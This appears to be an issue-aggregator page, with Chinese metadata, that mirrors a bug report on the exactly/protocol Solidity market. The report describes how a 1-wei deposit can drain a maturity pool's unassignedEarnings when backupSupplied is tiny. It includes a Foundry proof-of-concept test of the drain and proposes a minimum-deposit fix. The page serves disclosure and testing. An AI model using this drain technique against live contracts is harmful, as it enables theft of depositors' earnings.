An attacker can claim all `unassignedEarnings` with 1 wei when `backupSupplied` is Tiny in `market.sol`
还没有人认领这个 Issue。
评估
- 难度
- 4/5
- 预计耗时
- 3-5 天
- 新手友好度
- 35/100
- Issue 类型
- 缺陷
- 描述清晰度
- 描述清楚
- 活跃度
- 停滞
- 技术栈
- solidity
- 领域
- blockchain, security
调研方向
从 market.sol 和 depositAtMaturity 路径开始,然后检查 FixedLib.calculateDeposit 以及 fixed-pool 对 unassignedEarnings 和 backupSupplied 的记账逻辑。使用提供的 PoC 在 market.t.sol 中复现该场景,并考虑 issue 提出的最小存款规则;当回归测试不再允许通过极小的存款耗尽 earnings bucket 时,即表示完成。
由索引模型根据 Issue 内容生成。
描述
Summary
A maturity pool can accumulate a large unassignedEarnings balance. If, at some point, the pool’s backup-supplied amount becomes extremely small (e.g., backupSupplied = 1 unit), then an attakcer who deposits only 1 unit can claim almost 100% of unassignedEarnings as their fee (minus backupFeeRate).
This is exploitable because an attacker can wait for this state and be the first to deposit (or front-run others), draining the bucket.
Flow
- backupSupplied(pool) is the part of fixed borrows not covered by fixed suppliers:
backupSupplied=borrowed−min(borrowed,supplied)
- If
supplied >= borrowed, thenbackupSupplied = 0(fixed suppliers cover all borrows). - If
borrowed > supplied, thenbackupSupplied = borrowed - supplied(the “gap” is covered by the floating/backup side)
unassignedEarnings is an accounting bucket of earnings sitting inside that maturity pool that have not yet been distributed/claimed. So It can build up from normal protocol activity (borrow fees, repayments/penalties, liquidation side-effects) before being “realized” by specific interactions.
- When someone deposits to the maturity pool, the protocol computes a “yield” that comes out of
unassignedEarningsand is credited to the depositor’s position asposition.fee. - The yield is:
(when backupSupplied > 0)
yield. = unassignedEarnings⋅ min(depositAmount,backupSupplied)/ backupSupplied
And the state updates are effectively:
- depositor’s fixed position gets
fee += userFee - pool’s
unassignedEarnings -= (userFee + backupFee)(i.e., the whole yield is removed)
Now lets assume:
- the attacker doesn’t need to supply meaningful capital to “earn” almost all pending earnings just enough to match the tiny
backupSupplied.
Proof of code
Add this function test to the market.t.sol
/// @dev PoC: if `backupSupplied` is tiny (e.g. 1) while `unassignedEarnings` is large,
/// a tiny deposit can claim (almost) all `unassignedEarnings` due to proportional allocation.
///
/// Note: we use `vm.store` to directly set `unassignedEarnings` to an exaggerated value to make
/// the effect unambiguous; the production path is `depositAtMaturity` → `FixedLib.calculateDeposit`.
function testPoC_TinyDepositCanDrainUnassignedEarningsWhenBackupSuppliedIsTiny() public {
uint256 maturity = FixedLib.INTERVAL;
// Provide floating liquidity so the fixed-pool borrow can source from backup.
deal(address(asset), ALICE, 1_000 ether);
vm.startPrank(ALICE);
asset.approve(address(market), type(uint256).max);
market.deposit(1_000 ether, ALICE);
vm.stopPrank();
// Attacker sets up minimal collateral (so `checkBorrow` passes).
deal(address(asset), attacker, 20);
vm.startPrank(attacker);
asset.approve(address(market), type(uint256).max);
market.deposit(10, attacker);
// Create a fixed pool state where `backupSupplied(pool) == 1`:
// borrowed = 1, supplied = 0.
market.borrowAtMaturity(maturity, 1, type(uint256).max, attacker, attacker);
// Force a large amount of unassigned earnings for this maturity.
uint256 unassigned = 100 ether;
uint256 unassignedSlot = stdstore
.target(address(market))
.sig("fixedPools(uint256)")
.with_key(maturity)
.depth(2) // (borrowed, supplied, unassignedEarnings, lastAccrual)
.find();
vm.store(address(market), bytes32(unassignedSlot), bytes32(unassigned));
// With `backupSupplied == 1`, depositing 1 claims ~all `unassignedEarnings` as "fee".
uint256 positionAssets = market.depositAtMaturity(maturity, 1, 0, attacker);
uint256 backupFeeRate = market.backupFeeRate();
uint256 backupFee = unassigned.mulWadDown(backupFeeRate);
uint256 expectedFee = unassigned - backupFee;
assertEq(positionAssets, 1 + expectedFee);
(uint256 principal, uint256 fee) = market.fixedDepositPositions(maturity, attacker);
assertEq(principal, 1);
assertEq(fee, expectedFee);
(, , uint256 unassignedAfter, ) = market.fixedPools(maturity);
assertEq(unassignedAfter, 0);
vm.stopPrank();
}
fIX
- Put a minimum deposit size to be eligible for yield
- 主要语言
- Solidity
- 星标
- 92
- 派生
- 44
- 平均合并
- 8 天 7 小时
- 30 天内合并 PR
- 4
环境准备
这个项目没有提供开发容器、Dockerfile 或贡献指南,环境需要你自己搭建:先看它的 README,通用步骤见我们的新手贡献指南。
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
exactly/protocol 的其他 Issue
-
难度 2/5 1-3 小时 新手友好度 76/100
-
难度 5/5 一周以上 新手友好度 15/100
-
protocol: repay/liquidate with shares可能重新可做 @itofarina 于 276 天前认领,目前没有进行中的 PR。 未关闭question
-
难度 5/5 一周以上 新手友好度 30/100
-
难度 5/5 一周以上 新手友好度 15/100
相似的 Issue
-
_check_tx_inputs lacks Core's bad-txns-inputvalues-outofrange and bad-txns-fee-outofrange checks未关闭
难度 2/5 1-3 小时 新手友好度 76/100
btclib-org/btclib-node#2111 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 75/100
foundry-rs/starknet-foundry#4653 ·
维护者通常 6 天内回复
-
dincli: `task model-owner register-request --manifestCID` fails because the registry contract isn't initialised可能已有人在做 关联的 PR 仍在进行中或已合并。 未关闭bug good first issue
难度 2/5 1-3 小时 新手友好度 79/100
InfiniteZeroFoundation/DevNet#295 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 66/100
paritytech/polkadot-sdk#13625 ·
维护者通常 1 天内回复
-
Add address-balance gas to the PTB building guide可能已有人在做 @NaitsabesMue 于 1 天前认领。 未关闭
难度 2/5 1-3 小时 新手友好度 78/100
MystenLabs/skills#138 ·
维护者通常 1 天内回复